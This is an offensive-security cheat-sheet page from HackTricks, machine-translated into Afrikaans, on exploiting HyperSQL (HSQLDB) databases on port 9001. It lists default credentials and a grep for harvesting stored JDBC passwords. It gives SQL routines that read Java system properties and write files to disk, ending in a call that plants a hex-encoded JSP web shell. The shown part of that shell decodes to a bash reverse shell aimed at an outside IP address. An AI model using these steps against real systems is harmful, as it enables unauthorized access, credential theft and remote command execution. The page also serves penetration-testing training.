hacktricks/network-services-pentesting/9001-pentesting-hsqldb.md
2024-02-11 02:07:06 +00:00

5.4 KiB

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Basiese Inligting

HSQLDB (HyperSQL-databasis) is die voorste SQL-relasiedatabasisstelsel wat in Java geskryf is. Dit bied 'n klein, vinnige, veelvuldig-draadse en transaksionele databasisenjin met in-memory en disk-gebaseerde tabelle en ondersteun ingebedde en bedienermodusse.

Verstekpoort: 9001

9001/tcp open  jdbc      HSQLDB JDBC (Network Compatibility Version 2.3.4.0)

Inligting

Standaardinstellings

Let daarop dat hierdie diens waarskynlik standaard in die geheue loop of aan die localhost gebind is. As jy dit gevind het, het jy waarskynlik 'n ander diens uitgebuit en is jy op soek na verhoogde regte.

Standaard geloofsbriewe is gewoonlik sa met 'n leë wagwoord.

As jy 'n ander diens uitgebuit het, soek na moontlike geloofsbriewe deur gebruik te maak van

grep -rP 'jdbc:hsqldb.*password.*' /path/to/search

Let op die databasisnaam sorgvuldig - jy sal dit nodig hê om te verbind.

Inligting Versameling

Verbind met die DB-instansie deur HSQLDB af te laai en hsqldb/lib/hsqldb.jar uit te pak. Voer die GUI-toepassing eww uit deur java -jar hsqldb.jar te gebruik en verbind met die instansie deur die ontdekte/swak geloofsbriewe te gebruik.

Let daarop dat die verbindings-URL iets soos hierdie sal lyk vir 'n afgeleë stelsel: jdbc:hsqldb:hsql://ip/DBNAME.

Truuks

Java Taal Routines

Ons kan statiese metodes van 'n Java-klas vanuit HSQLDB oproep deur Java Taal Routines te gebruik. Let daarop dat die geroepte klas in die toepassing se klasselys moet wees.

JRT's kan funksies of prosedures wees. Funksies kan geroep word deur SQL-stellings as die Java-metode een of meer SQL-verenigbare primitiewe veranderlikes teruggee. Hulle word geroep met die VALUES-stelling.

As die Java-metode wat ons wil oproep void teruggee, moet ons 'n prosedure gebruik wat geroep word met die CALL-stelling.

Lees van Java Sisteem Eienskappe

Skep funksie:

CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA
DETERMINISTIC NO SQL
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'

Voer funksie uit:

VALUES(getsystemproperty('user.name'))

Jy kan 'n lys van stelsel eienskappe hier vind.

Skryf Inhoud na Lêer

Jy kan die com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename Java gadget wat in die JDK geleë is (outomaties gelaai in die klasselys van die toepassing) gebruik om heks-geënkodeerde items na skyf te skryf deur middel van 'n aangepaste prosedure. Let op die maksimum grootte van 1024 byte.

Skep prosedure:

CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'

Voer prosedure uit:

call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))
Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun: